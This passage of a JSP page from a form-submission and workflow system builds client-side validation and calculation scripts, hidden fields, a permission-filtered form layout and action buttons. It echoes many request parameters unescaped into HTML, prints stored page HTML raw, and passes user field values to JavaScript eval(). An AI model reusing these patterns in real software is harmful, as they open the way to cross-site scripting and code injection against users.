              operand2 = "<%=tmpItemArr[j].trim().substring(0,10)%>";
          <%
            }else{
          %>
              operand1 = "<%=tmpItemArr[j].trim().substring(0,10)%>";
          <%}
          }
        }
        %>
        tmpexpression = "'"+operand1+"'" + sCompare + "'"+operand2+"'";
        if (operand1!="" && operand2!=""){
          eval("if("+tmpexpression+")bExpress=true");
          isCheck = true;
        }
        if (bExpress){
            <%
          if (!Utility.isEmpty(targetElementID) && FormRoutingRule.CHECK_RULE_MANDATORY.equals(mandatory)){
            FormElement formElement = (FormElement)formElementDAO.getObjectByID(new Integer(targetElementID));
            %>
            if (document.maintFormSubmissionForm.<%=FIELD_HEADER%><%=formRoutingRule.getTargetElementID().substring(1,formRoutingRule.getTargetElementID().toString().length())%>.value==""){
              alert("<%=formElement.getFieldName()%> <bean:message key='form.message.is_required'/>");
              return (false);
            }
        <%}%>
        }else{
          if (isCheck){
            alert("<%=formEquation%>");
            return (false);
          }
        }

    <%}else if (!Utility.isEmpty(opterationType) && WorkflowStepFormEquat.OPERATION_TYPE_STRING.equals(opterationType)){
      //End Opteration Type is DatePicker.
      //Begin Opteration Type is String.
        for(int j=0; j<tmpItemArr.length; j++){
          if(tmpItemArr[j].startsWith(WorkflowStepFormEquat.ELEMENT_PREFIX_CHAR)){
            tmpElement = tmpItemArr[j].substring(WorkflowStepFormEquat.ELEMENT_PREFIX_CHAR.length());
            if (j==0){
            %>
              operand1 = frm.FB_FIELD_<%=tmpElement%>.value;
           <%
            }else{
            %>
              operand2 = frm.FB_FIELD_<%=tmpElement%>.value;
            <%
            }
          }else if(WorkflowStepFormEquat.STRING_OPERATION_EQUALS.equals(tmpItemArr[j].trim())){%>
            sCompare = "==";
        <%}else if(WorkflowStepFormEquat.STRING_OPERATION_NOT_EQUALS.equals(tmpItemArr[j].trim())){%>
            sCompare = "!=";
        <%}else if(WorkflowStepFormEquat.STRING_OPERATION_IS_EMPTY.equals(tmpItemArr[j].trim())){%>
            sCompare = "==";
        <%}else if(WorkflowStepFormEquat.STRING_OPERATION_IS_NOT_EMPTY.equals(tmpItemArr[j].trim())){%>
            sCompare = "!=";
        <%}else if(WorkflowStepFormEquat.STRING_OPERATION_CONTAINS.equals(tmpItemArr[j].trim())){%>
            sCompare = "indexOf";
        <%}else if(WorkflowStepFormEquat.STRING_OPERATION_STARTS_WITH.equals(tmpItemArr[j].trim())){%>
            sCompare = "startWith";
        <%}else {
            if (j>0){
          %>
              operand2 = "<%=tmpItemArr[j].trim()%>";
          <%
            }else{
          %>
              operand1 = "<%=tmpItemArr[j].trim()%>";
          <%}
          }
        }
        %>

        if (sCompare!="indexOf" && sCompare!="startWith"){
          tmpexpression = "'"+operand1+"'" + sCompare + "'"+operand2+"'";
        }else if (sCompare=="indexOf"){
          for (var n = 0; n < operand1.length; n++) {
            if (operand2.indexOf(operand1.substring(n, n+1)) > -1) {
              bExpress=true;
              break;
            }else{
          isCheck = true;
            }
          }
        }else if (sCompare=="startWith"){
          tmpexpression = "'"+operand1.substring(0,operand2.length-2)+"'" == operand2;
        }

        if (operand1!="" && operand2!="" && sCompare!="==" &&  sCompare!="!=" && sCompare!="indexOf"){
          eval("if("+tmpexpression+")bExpress=true");
          isCheck = true;
        }else if (sCompare=="==" || sCompare=="!="){
          eval("if("+tmpexpression+")bExpress=true");
          isCheck = true;
        }


        if (bExpress){
            <%
          if (!Utility.isEmpty(targetElementID) && FormRoutingRule.CHECK_RULE_MANDATORY.equals(mandatory)){
            FormElement formElement = (FormElement)formElementDAO.getObjectByID(new Integer(targetElementID));
            %>
            if (document.maintFormSubmissionForm.<%=FIELD_HEADER%><%=formRoutingRule.getTargetElementID().substring(1,formRoutingRule.getTargetElementID().toString().length())%>.value==""){
              alert("<%=formElement.getFieldName()%> <bean:message key='form.message.is_required'/>");
              return (false);
            }
        <%}%>
        }else{
          if (isCheck){
            alert("<%=formEquation%>");
            return (false);
          }
        }

     <%}%>

      //End Opteration Type is String.
    <%
     }
  }
 //End check Routing Rule.
 %>
  return true;
}


<%//Generate js function.
  //Begin check Routing Rule,the rule type is caculate.
  for (int mm=0; mm<routingRuleList.size(); mm++){
    FormRoutingRule formRoutingRule = (FormRoutingRule)routingRuleList.get(mm);
    if (FormRoutingRule.ROUTING_TYPE_CALCULATE.equals(formRoutingRule.getRuleType())){
      String targetElementName = formRoutingRule.getTargetElementID().substring(1,formRoutingRule.getTargetElementID().length());
      String equation = TextUtility.replaceString((String)formRoutingRule.getFormOperationEquation(), "!!!", "+");
      String[] expressionArr = TextUtility.splitString(equation, "=");
      String expression = expressionArr[1];
      String[] tmpItemArr = TextUtility.splitString(expression, "|");
      String tmpElement = "";
      onchangeElementIDStr = targetElementName+"$";
    %>
      function opChangeElement_<%=targetElementName%>(){
        frm = document.maintFormSubmissionForm;
        frm.FB_FIELD_<%=targetElementName%>.value = "";
        var tmpexpression ="";
        <%
        for(int j=0; j<tmpItemArr.length; j++){
          if(tmpItemArr[j].trim().startsWith(WorkflowStepFormEquat.ELEMENT_PREFIX_CHAR)){

            tmpElement = tmpItemArr[j].substring(WorkflowStepFormEquat.ELEMENT_PREFIX_CHAR.length());
            onchangeElementIDStr +=  tmpElement+"|";

            %>
            tmpexpression += frm.FB_FIELD_<%=tmpElement%>.value;
            <%
          } else {%>
            tmpexpression +=  "<%=tmpItemArr[j]%>";
          <%
          }
        }
        %>
        var sExpressionLastLetter = tmpexpression.substring(tmpexpression.length-1,tmpexpression.length);
        if (sExpressionLastLetter!="+" && sExpressionLastLetter!="*" && sExpressionLastLetter!="-" && sExpressionLastLetter!="/"){
          frm.FB_FIELD_<%=targetElementName%>.value= eval(tmpexpression);
        }else{
          frm.FB_FIELD_<%=targetElementName%>.value= eval(tmpexpression.substring(0,tmpexpression.length-1));
        }
      }
    <%
    }
  }
    //End check Routing Rule,the rule type is calculate.
  %>

-->
</script>


<html:hidden property='opMode'/>
<html:hidden property='navMode'/>

<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='status'/>
<html:hidden property='submitFlag'/>

<input type="hidden" name="formRecordID" value='<%=request.getParameter("formRecordID")%>'/>
<input type="hidden" name="formPageID" value="<%=pageID%>"/>
<input type="hidden" name="formPageNo" value="<%=formPageNo%>"/>
<input type="hidden" name="function" value='<%=request.getParameter("function")%>'/>
<input type="hidden" name="formSubmissionID" value='<%=request.getParameter("formSubmissionID")%>'/>
<input type="hidden" name="isWorkflowViewFlag" value='<%=request.getParameter("isWorkflowViewFlag")%>'/>
<input type="hidden" name="progressID" value='<%=request.getParameter("progressID")%>'/>
<input type="hidden" name="workflowStepID" value='<%=request.getParameter("workflowStepID")%>'/>
<input type="hidden" name="wfRecordID" value='<%=request.getParameter("wfRecordID")%>'/>
<input type="hidden" name="wfTrackID" value='<%=request.getParameter("wfTrackID")%>'/>
<input type="hidden" name="wfNavMode" value='<%=request.getParameter("wfNavMode")%>'/>
<input type="hidden" name="hideTitle" value='<%=request.getParameter("hideTitle")%>'/>
<input type="hidden" name="submitFunction" value='<%=request.getParameter("submitFunction")%>'/>
<input type="hidden" name="isShowHeader" value='<%=request.getParameter("isShowHeader")%>'/>  <!--wf task from worklist page or home page   -->
<input type="hidden" name="functionFrom" value='<%=request.getParameter("functionFrom")%>'> <!--return list page for return button -->
<input type="hidden" name="isViewTask" value='<%=request.getParameter("isViewTask")%>'>
<input type="hidden" name="isSubmission" value='<%=isSubmission%>'>
<input type="hidden" name="isShowWholeForm" value='<%=request.getParameter("isShowWholeForm")%>'>

<%if (Utility.isEmpty(request.getParameter("formSubmissionID")) || "null".equals(request.getParameter("formSubmissionID"))) {%>
<html:hidden property='ID'/>
<%} else {%>
<!-- Set the ID for deleting the Form Tracking -->
<input type="hidden" name="ID" value='<%=request.getParameter("formSubmissionID")%>'>
<%}%>

<%if (!"ConsolidatedViewFormTracking".equals(request.getParameter("functionFrom"))){ //Begin if Consolidated View in FormTracking, then not display.%>


<!-- ======================================Page Title Section================================================ -->
<%if (Utility.isEmpty(request.getParameter("hideTitle")) || "null".equals(request.getParameter("hideTitle"))){ //in EditWorkflowTask.jsp then hide the title.%>

<!-- ======================================End Page Title Section============================================= -->

<!-- System Messages -->
<table cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td>
<%
  if ( !Utility.isEmpty(request.getAttribute("updateMessage")) ) {
%>
<UL TYPE="square" class="systemMessage"><LI>
<%=request.getAttribute("updateMessage")%>
</LI>
</UL>
<%
  }
  if ( !Utility.isEmpty(request.getAttribute("saveDrafMessage")) ) {
%>
<UL TYPE="square" class="systemMessage"><LI>
<%=request.getAttribute("saveDrafMessage").toString()%>
</LI>
</UL>
<%
  }
%>
</td></tr></table>
<%} // end in EditWorkflowTask.jsp then hide the title.
}// End if Consolidated View in FormTracking, then not display
%>


<!-- End Page Title Section -->

<layout:tabContainer id="tab1">
<%if (request.getAttribute("SHOW_HEADER_FOOTER")==null || !("N").equals((String)(request.getAttribute("SHOW_HEADER_FOOTER"))) && Utility.isEmpty(request.getParameter("trackID"))){%>
<layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
<%}%>
   <layout:tabBar styleClass="tabBar_no_button">
        <layout:tabPane id="basicTab" title="common.label.tab_basic" selected="true" visibility="false"/>
    </layout:tabBar>
 <div id="basicTab" class="tabContent">

<%if (!"ConsolidatedViewFormTracking".equals(request.getParameter("functionFrom"))){ //Begin if Consolidated View in FormTracking, then not display.%>
<!-- begin display form title and form code-->
<table border="0" width="100%">
 <tr>
  <td align="center" colspan="2"><html:img src="LayoutSpacer.gif"  height="1" width="400"/></td>
 </tr>
 <tr align="center" >
  <td style="font-size:12pt" width="80%"><b><%=formRecord.getTitle()%>  -  <%=formRecord.getFormCode()%> [<%=formRecord.getFormVersion()%>]</b></td>
  <td align="right" width="20%"><div id="noprint"><html:standardButton label="common.label.print" onClick="return FormNavPrint()"/></div></td>
 </tr>
</table>
<!-- end display form title and form code-->
<%}// End if Consolidated View in FormTracking, then not display.%>

<!-- begin table 1 -->
<table cellpadding="0" cellspacing='<%="N".equals(request.getParameter("SHOW_HEADER_FOOTER"))?0 :20%>' border="0" width='<%="N".equals(request.getParameter("SHOW_HEADER_FOOTER"))?"780" :"100%"%>'><tr><td>
 <!-- begin table 2 -->
 <table cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td>
  <tr><td>
  <!-- =================== Superpose Page Head Begin ==================== -->
  <jsp:include page="IncludeFormTab.jsp">
    <jsp:param name="prefixPageHeadDiv" value="<%=PRE_PAGE_HEAD_DIV%>"/>
    <jsp:param name="prefixPageContentDiv" value="<%=PRE_PAGE_CONTENT_DIV%>"/>
    <jsp:param name="isPreview" value="<%=!Utility.isEmpty(sPreviewValue)%>"/>
    <jsp:param name="opMode" value="<%=!Utility.isEmpty(maintFormSubmissionForm.getOpMode())%>"/>
    <jsp:param name="formRecordID" value="<%=maintFormSubmissionForm.getFormRecordID()%>"/>
    <jsp:param name="workflowStepID" value="<%=workflowStepID%>"/>
    <jsp:param name="isViewUserStep" value="<%=isViewUserStep%>"/>
    <jsp:param name="isShowWholeForm" value="<%=isShowWholeForm%>"/>
  </jsp:include>
  <!-- =================== Superpose Page Head End ==================== -->
  </td></tr>
  <tr><td>
   <!-- begin table 3 -->
   <table bgcolor="#999999" width="100%" height="100%" cellpadding="0" cellspacing="1"><tr><td bgcolor="#FFFFFF">
   <!--begin table for display page,section,element  -->
   <table width="100%" cellpadding="0" cellspacing="0" border="0" >
    <tr><td colspan="2">
    <!-- ************************************** Start of Form Border ********************************** -->
  <%
  if ("T".equals(request.getParameter("preview"))){ //FORM SETUP PREVIEW.
    formRecordPermission = WorkflowStep.FORM_PROCESS_PERMISSION_SUBMIT;
  }
  for (int pp=0; pp<formPageList.size(); pp++){
    FormPage formPage = (FormPage)formPageList.get(pp);
    pageID = formPage.getID();
    if (!"T".equals(request.getParameter("preview"))){
      formRecordPermission = formPage.getFormRecordPermission();
    }

    if (WorkflowStep.FORM_PROCESS_PERMISSION_MANDATORY.equals(formRecordPermission)){
      formRecordPermission = WorkflowStep.FORM_PROCESS_PERMISSION_CHANGE;
    }

    if (WorkflowStep.FORM_PROCESS_PERMISSION_SUBMIT.equals(formRecordPermission)){
       hasCheckPermission = false;
    }
    if (hasCheckPermission){
      if (!Utility.isEmpty(formPage.getPermission())){
         pagePermission = formPage.getPermission();
      }else {
         pagePermission = formRecordPermission;
      }
      if (WorkflowStep.FORM_PROCESS_PERMISSION_MANDATORY.equals(pagePermission)){
         pagePermission = WorkflowStep.FORM_PROCESS_PERMISSION_CHANGE;
      }
    if(WorkflowStep.FORM_PROCESS_PERMISSION_HIDE.equals(pagePermission)){continue;}
    }
    //check page permission for page label.
    boolean hasPagePermission = formSubmissionManager.getFormPagePermissionByRecordPageIDStepID(new Integer(request.getParameter("formRecordID")),pageID,workflowStepID,isViewUserStep);

    if (!hasPagePermission && !isShowWholeForm && (Utility.isEmpty(pagePermission)||"null".equals(pagePermission))){
      continue;
    }
    allPageIDStr += pageID + ",";
    %>
  <!--########################### Page Table Begin ############################### -->
  <span id="<%=PRE_PAGE_HEAD_DIV + formPage.getID().toString()%>">
  <table border=0 cellspacing="0" cellpadding="0" width="100%">
    <tr align="left">
        <td valign="top" width="100%">
<!-- ************************************** Start of Form Content ********************************** -->

        </td>
            </tr>
            <tr>
              <td align="center">&nbsp;</td>
            </tr>
          </table>
    </span>
    <!-- ====================== Page Head Table End   =================== -->
  <span id="<%=PRE_PAGE_CONTENT_DIV + formPage.getID().toString()%>">
    <!--  ########################### Section Table Begin ########################### -->

<%
  //get the form section list
  Integer elementID;
  List tmpformSectionList = formPage.getFormSectionList();

  FormSubmissionHtmlDAObject formSubmissionHtmlDAO = new FormSubmissionHtmlDAObject(sessionContainer, conn);

//  WorkflowStepDAObject workflowStepDAObj =  new  WorkflowStepDAObject(sessionContainer, conn);
//  WorkflowStep workflowStep =  null;

  for (int i=0; i<tmpformSectionList.size(); i++) {
    FormSection tmpFormSection = (FormSection) tmpformSectionList.get(i);
    sectionID = tmpFormSection.getID();
    if (hasCheckPermission){
      if (!Utility.isEmpty(tmpFormSection.getPermission())){
         sectionPermission = tmpFormSection.getPermission();
      }else {
         sectionPermission = pagePermission;
      }
      if (WorkflowStep.FORM_PROCESS_PERMISSION_MANDATORY.equals(sectionPermission)){
         sectionPermission = WorkflowStep.FORM_PROCESS_PERMISSION_CHANGE;
      }
    if(WorkflowStep.FORM_PROCESS_PERMISSION_HIDE.equals(sectionPermission)){continue;}
    }
    //check section permission for section label.
    boolean hasSectionPermission = formSubmissionManager.getFormSectionPermissionByRecordPageIDSectionIDStepID(new Integer(request.getParameter("formRecordID")),pageID,sectionID,workflowStepID,isViewUserStep);
    if (isViewUserStep && !hasSectionPermission && (Utility.isEmpty(sectionPermission)||"null".equals(sectionPermission) || WorkflowStep.FORM_PROCESS_PERMISSION_READ.equals(sectionPermission))){
      continue;
    } //view read
    if (!hasSectionPermission && !isShowWholeForm && (Utility.isEmpty(sectionPermission)||"null".equals(sectionPermission))){
      continue;
    }
    allSectionIDStr += sectionID + ",";

    //get element permission.
    List formElementList = tmpFormSection.getFormElementList();
    for (int j=0; j<formElementList.size(); j++) {
      FormElement tmpFormElement = (FormElement) formElementList.get(j);
      elementID = tmpFormElement.getID();
      if (hasCheckPermission){
        if (!Utility.isEmpty(tmpFormElement.getPermission())){
             elementPermission = tmpFormElement.getPermission();
        }else {
             elementPermission = sectionPermission;
        }
        if (WorkflowStep.FORM_PROCESS_PERMISSION_READ.equals(elementPermission)){
          isStepElementChange = false;
          isStepElementRead = true;
          isStepElementDisabled = false;
        } else if (WorkflowStep.FORM_PROCESS_PERMISSION_CHANGE.equals(elementPermission)){
          isStepElementChange = true;
          isStepElementRead = false;
          isStepElementDisabled = false;
        } else {
          isStepElementDisabled = true;
        }
      }else{
        isStepElementDisabled = false;
        isStepElementChange = true;
        isStepElementRead = false;
      }

      if (GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode()) || isViewTask.equals("Y") || !Utility.isEmpty(maintFormSubmissionForm.getOpMode()) || (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE))){  //view
        if (isStepElementChange){
           isStepElementChange = false;
           isStepElementRead = true;
        }
      }
      if (FormElementType.ELEMENT_DATE_PICKER.equals(tmpFormElement.getElementType()) || FormElementType.ELEMENT_FILE.equals(tmpFormElement.getElementType()) ){
      %>
        <SCRIPT ID=clientEventHandlersJS LANGUAGE=javascript>
        <!--
         var isImport_<%=sectionID%>_<%=tmpFormElement.getID()%>="N";
         <%if((!isStepElementChange && GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode())) || isStepElementDisabled){ %>
             isImport_<%=sectionID%>_<%=tmpFormElement.getID()%>="Y";
         <%}%>
        -->
        </SCRIPT>
      <%
      }
    }
    FormSubmissionHtml formSubmissionHtml = (FormSubmissionHtml)formSubmissionHtmlDAO.getByRecordIDPageIDSectionID(new Integer(request.getParameter("formRecordID")),pageID,sectionID);

    /**
     * This block of code fix the wrong row index problem
     */
    String originalHTML =(String)formSubmissionHtml.getPageHtml();
    /** End of adjustment */
%>
<%=originalHTML%>
<%}%>

</span>
<%
}

%>
<!--  ########################### Section Table End ########################### -->

<!--  ########################### Page Table End ########################### -->

       </td>
      </tr>
      <tr>
       <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
      </tr>
     </table> <!--end table for display page,section,element  -->

   </td></tr>
   </table>
  <!-- end table 3 -->
    </td>
   </tr>
  </table>
 <!-- end table 2 -->

<!-- =================================begin wf + dms + button table================================ -->
<%if (!"ConsolidatedViewFormTracking".equals(request.getParameter("functionFrom"))){ //Begin if Consolidated View in FormTracking, then not display.%>
   <table width="100%" cellpadding="0" cellspacing="2" border="0" >

<!-- Begin workflow and dms -->
<%if (!"FORMSETUP".equals(request.getParameter("function")) && !"FORMEDIT".equals(request.getParameter("function")) && !"SECTIONEDIT".equals(request.getParameter("function")) &&!"FORMMONITOR".equals(request.getParameter("function"))  ) {%>
<%
MtmWorkflowRecordObjectLinkDAObject mtmWfRecordObjectDAO = new MtmWorkflowRecordObjectLinkDAObject(sessionContainer,conn);
List mtmWfRecordObjectList = mtmWfRecordObjectDAO.getListByObjectTypeObjectID(GlobalConstant.OBJECT_TYPE_FORM,new Integer(maintFormSubmissionForm.getFormRecordID()) );
if (!Utility.isEmpty(mtmWfRecordObjectList)) {
  pageContext.setAttribute("sysWorkflowCategoryID", com.dcivision.workflow.core.SystemWorkflowConstant.FMB_SUBMISSION_BY_FORM);
} else {
  pageContext.setAttribute("sysWorkflowCategoryID", com.dcivision.workflow.core.SystemWorkflowConstant.FMB_SUBMISSION_BY_GROUP);
}

%>
<%pageContext.setAttribute("sysWorkflowCategoryID", com.dcivision.workflow.core.SystemWorkflowConstant.FMB_SUBMISSION_BY_FORM);%>

<!-- check if exist workflow for this form  -->
<%
 if (!Utility.isEmpty(workflowRecordID)) {
   submissionStatus = FormSubmission.FORM_SUBMISSION_STATU_SUBMIT;
   haveWorkflow = true;
 }
%>
<html:hidden property='trackID'/>
<%if (SystemFunctionConstant.FORM_SUBMISSION.equals(sCurFunctionCode)) {%>
<%@include file="../workflow/IncludeWorkflowPage.jsp"%>
<%}%>

<!--save file to DMS -->

<%
   if (!isWorkflowProcess ){
     if ( sysFunction!=null && GlobalConstant.STATUS_ACTIVE.equals(sysFunction.getStatus()) && SystemFunctionConstant.FORM_SUBMISSION.equals(sCurFunctionCode) ){
   %>
     <%@include file="IncludeDMSPage.jsp"%>
 <%  }
  }
  %>
<%}%>
<!-- END Workflow and DMS -->

<%if (Utility.isEmpty(request.getParameter("hideTitle")) && !"FORMMONITOR".equals(request.getParameter("function"))){ //in EditWorkflowTask.jsp then hide the title.%>
  <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
<%}%>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  </td></tr></table>
  <%}// End if Consolidated View in FormTracking, then not display.%>
  <!-- ==============================end wf + dms + button table============================= -->
  </td>
  </tr>
  </table>
  <!-- end table 1 -->
  </div>
  </layout:tabContainer>



 <div id="bottomButtonArea">
    <div id="buttonSection">
<%if (!"ConsolidatedViewFormTracking".equals(request.getParameter("functionFrom"))){ //Begin if Consolidated View in FormTracking, then not display.%>

<%if (!"Y".equals(request.getParameter("hideTitle"))){ //in EditWorkflowTask.jsp then hide all button. %>

<%  if( !"T".equals(request.getParameter("preview")) && !GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) ){  //&& (hasChageElement || !hasCheckPermission) %>
      <%if ("false".equals(isSubmission)){ %>
        <html:standardButton label="common.label.save" onClick="return OpStepSave()"/>
        <%if (!"Y".equals(request.getParameter("hideTitle"))){%>
        <html:standardButton label="common.label.close" onClick="javascript:window.close();"/>
        <%}%>
      <%}else{%>
        <%if (!"FORMMONITOR".equals(request.getParameter("function"))){%>
         <%if (!haveWorkflow) {%>
         <html:permissionButton label="form.label.save_draft" right="I" onClick="return OpCustSave('FALSE','${maintFormSubmissionForm.navMode}');"/>
         <%}else{%>
         <logic:equal scope="request" value="true" name="ALLOW_EXECUTE">
           <html:standardButton label="form.label.save_draft" onClick="return OpCustSave('TRUE','${maintFormSubmissionForm.navMode}');"/>
         </logic:equal>
         <logic:equal scope="request" value="false" name="ALLOW_EXECUTE">
           <html:standardButton label="form.label.save_draft" disable="true"/>
         </logic:equal>
         <%
         }
         if(!haveWorkflow){
         %>
         <% String actionString = "return OpCustSubmit('"+submissionStatus+"','${maintFormSubmissionForm.navMode}');"; %>
         <html:permissionButton label="common.label.submit" right="I" onClick='<%=actionString%>'/>
         <%
         } else {
         %>
         <logic:equal scope="request" value="true" name="ALLOW_EXECUTE">
            <% String actionString = "return OpCustSubmit('"+submissionStatus+"','${maintFormSubmissionForm.navMode}');"; %>
            <html:standardButton label="common.label.submit" onClick='<%=actionString%>'/>
         </logic:equal>
         <logic:equal scope="request" value="false" name="ALLOW_EXECUTE">
           <html:standardButton label="common.label.submit" disable="true"/>
         </logic:equal>
         <%
         }
         %>
        <%}else{%>
        <logic:permission right='I'>
         <html:standardButton label="common.label.save" onClick="return OpStepSave('true')"/>
         <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
          <html:standardButton label="common.label.save" disable="true"/>
         </logic:permission>
        <%}%>
     <%}%>
<%  } else if (GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode() )) {%>
      <%if ( request.getParameter("isWorkflowViewFlag") != null && request.getParameter("isWorkflowViewFlag").equals("Y") ){%>
          <%if (!"Y".equals(request.getParameter("hideTitle")) && GlobalConstant.NAV_MODE_EDIT.equals(request.getParameter("wfNavMode")) ){%>
          <%String SHOW_HEADER_FOOTER = (!Utility.isEmpty(request.getParameter("isShowHeader")) && "Y".equals(request.getParameter("isShowHeader"))) ? "Y" : "N";%>
          <html:standardButton label="common.label.close" onClick="javascript:window.opener.document.iframeName.location.reload();window.close();"/>
          <%}else if (!"Y".equals(request.getParameter("hideTitle")) ){%>
          <html:standardButton label="common.label.close" onClick="javascript:window.close();"/>
          <%}%>
      <%}else if (("FORMTRACKING".equals(request.getParameter("function")) ||
            "FORMMONITOR".equals(request.getParameter("function")) ||
            ("FORMSUBMISSION".equals(request.getParameter("function")) && FormSubmission.FORM_SUBMISSION_STATU_COMPLETED.equals(maintFormSubmissionForm.getStatus())&& (Utility.isEmpty(request.getParameter("workflowRecordID")) ||"null".equals(request.getParameter("workflowRecordID")))))
            &&!GlobalConstant.OP_MODE_DELETE.equals(maintFormSubmissionForm.getOpMode()) ) {
            if (Utility.isEmpty(maintFormSubmissionForm.getTrackID()) || "null".equals(maintFormSubmissionForm.getTrackID()) && (Utility.isEmpty(maintFormSubmissionForm.getWorkflowRecordID()) || "null".equals(maintFormSubmissionForm.getWorkflowRecordID()) )){
            %>
            <html:permissionButton label="common.label.delete" right="D" onClick="return OpDelete()"/>
          <%}%>
      <%}%>
      <%if ("FORMSUBMISSION".equals(request.getParameter("function")) && !Utility.isEmpty(maintFormSubmissionForm.getOpMode()) && !"null".equals(maintFormSubmissionForm.getOpMode()) && !GlobalConstant.OP_MODE_DELETE.equals(maintFormSubmissionForm.getOpMode())){%>
        <logic:permission right='E'>
         <logic:equal name='maintFormSubmissionForm' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_SAVED%>'>
           <html:standardButton label="common.label.edit" link='<%="MaintFormSubmission.do?navMode=E&formRecordID=${maintFormSubmissionForm.formRecordID}&formSubmissionID=${maintFormSubmissionForm.ID}&function=FORMSUBMISSION&functionFrom=listFormSubmissionDetail&workflowRecordID=${maintFormSubmissionForm.workflowRecordID}&trackID=${maintFormSubmissionForm.trackID}"%>'/>
         </logic:equal>
         <html:standardButton label="common.label.edit" disable="true"/>
       </logic:permission>
       <%if ( !Utility.isEmpty(request.getAttribute("saveDrafMessage")) ) {%>
          <html:standardButton label="form.label.draft_list" link="ListFormSubmissionDetail.do?navMode=L&formRecordID=${formRecord.ID}&function=ListFormSubmission"/>
       <%}%>
     <%}%>
<%  }%>
    <%if ("DMS".equals(request.getParameter("function"))){%>
      <html:standardButton label="common.label.close" onClick="javascript:window.close();"/>
    <%}%>
<%} //end hide button%>
<%
 if ("R".equals(formRecord.getStatus()) && ("FORMSETUP".equals(request.getParameter("function")) || "FORMEDIT".equals(request.getParameter("function")))) {%>

  <!-- //sliever.hu.udpate for bug 5471 -->
  <logic:permission right="E">
    <logic:permission right="E" objectType="M" objectID="<%=formRecord.getFormGroupID()%>">
      <html:standardButton label="form.label.html_import" link='<%="MaintFormElement.do?navMode=I&functionMode=formV&formRecordID=${param.formRecordID}&formPageNo="+formPageNo+"&formPageID="+pageID+"&formSubmissionHtml=Y"%>'/>
      <html:standardButton label="form.label.html_export" link='<%="MaintFormPage.do?navMode=E&preview=E&formPageNo="+formPageNo+"&formRecordID=${param.formRecordID}&SHOW_HEADER_FOOTER=N"%>' target="_blank"/>
    <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
    </logic:permission>
    <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
  </logic:permission>

<%}%>

  <%}// End if Consolidated View in FormTracking, then not display.%>
  <!-- =============================end wf + dms + button table ======================== -->
</div>
</div>

<input type=hidden name="allSectionIDStr" value=<%=allSectionIDStr%>>
<SCRIPT ID="clientEventHandlersJS" LANGUAGE="javascript">
  var auditColor = "#0000FF";
  <%
  String opMode = (!Utility.isEmpty(maintFormSubmissionForm.getOpMode()) && !"null".equals(maintFormSubmissionForm.getOpMode())) ? maintFormSubmissionForm.getOpMode() : "";
  for (int pp=0; pp<formPageList.size(); pp++){
    FormPage formPage = (FormPage)formPageList.get(pp);
    pageID = formPage.getID();
    if (hasCheckPermission){
      if (!Utility.isEmpty(formPage.getPermission())){
        // Inherit permission from parent object if permission's attribute is "I";
        if (WorkflowStep.FORM_PROCESS_PERMISSION_INHERIT.equals(formPage.getPermission())) {
          pagePermission = formRecordPermission;
        }
        else {
          pagePermission = formPage.getPermission();
        }
      }else {
         pagePermission = formRecordPermission;
      }
      if (WorkflowStep.FORM_PROCESS_PERMISSION_MANDATORY.equals(pagePermission)){
         pagePermission = WorkflowStep.FORM_PROCESS_PERMISSION_CHANGE;
      }
      if(WorkflowStep.FORM_PROCESS_PERMISSION_HIDE.equals(pagePermission)){continue;}
    }
    //get the form section list
    Integer tmpelementID;
    List formSectionList = formPage.getFormSectionList();

    for (int ii=0; ii<formSectionList.size(); ii++) {
    FormSection tmpFormSection = (FormSection) formSectionList.get(ii);
    sectionID = tmpFormSection.getID();

    if (hasCheckPermission){
      if (!Utility.isEmpty(tmpFormSection.getPermission())){
     // Inherit permission from parent object if permission's attribute is "I";
         if (WorkflowStep.FORM_PROCESS_PERMISSION_INHERIT.equals(tmpFormSection.getPermission())) {
           sectionPermission = pagePermission;
         }
         else {
           sectionPermission = tmpFormSection.getPermission();
         }
      }else {
         sectionPermission = pagePermission;
      }
      if (WorkflowStep.FORM_PROCESS_PERMISSION_MANDATORY.equals(sectionPermission)){
         sectionPermission = WorkflowStep.FORM_PROCESS_PERMISSION_CHANGE;
      }
    if(WorkflowStep.FORM_PROCESS_PERMISSION_HIDE.equals(sectionPermission)){continue;}
    }
    boolean hasSectionPermission = formSubmissionManager.getFormSectionPermissionByRecordPageIDSectionIDStepID(new Integer(request.getParameter("formRecordID")),pageID,sectionID,workflowStepID,isViewUserStep);
    //if (isViewUserStep && !hasSectionPermission && (Utility.isEmpty(sectionPermission)||"null".equals(sectionPermission) || WorkflowStep.FORM_PROCESS_PERMISSION_READ.equals(sectionPermission))){
    //  continue;
    //} //view read
    if (!hasSectionPermission && !isShowWholeForm && (Utility.isEmpty(sectionPermission)||"null".equals(sectionPermission))){
      continue;
    }
    //get form element list under a form section
    List formElementList = tmpFormSection.getFormElementList();
    for (int j=0; j<formElementList.size(); j++) {
      isStepElementDisabled = true;
      isStepElementChange = false;
      isStepElementRead = false;
      FormElement tmpFormElement = (FormElement) formElementList.get(j);
      tmpelementID = tmpFormElement.getID();
      if (hasCheckPermission){
        if (!Utility.isEmpty(tmpFormElement.getPermission())){
         // Inherit permission from parent object if permission's attribute is "I";
          if (WorkflowStep.FORM_PROCESS_PERMISSION_INHERIT.equals(tmpFormElement.getPermission())) {
            elementPermission = sectionPermission;
          }
          else {
            elementPermission = tmpFormElement.getPermission();
          }
        }else {
             elementPermission = sectionPermission;
        }
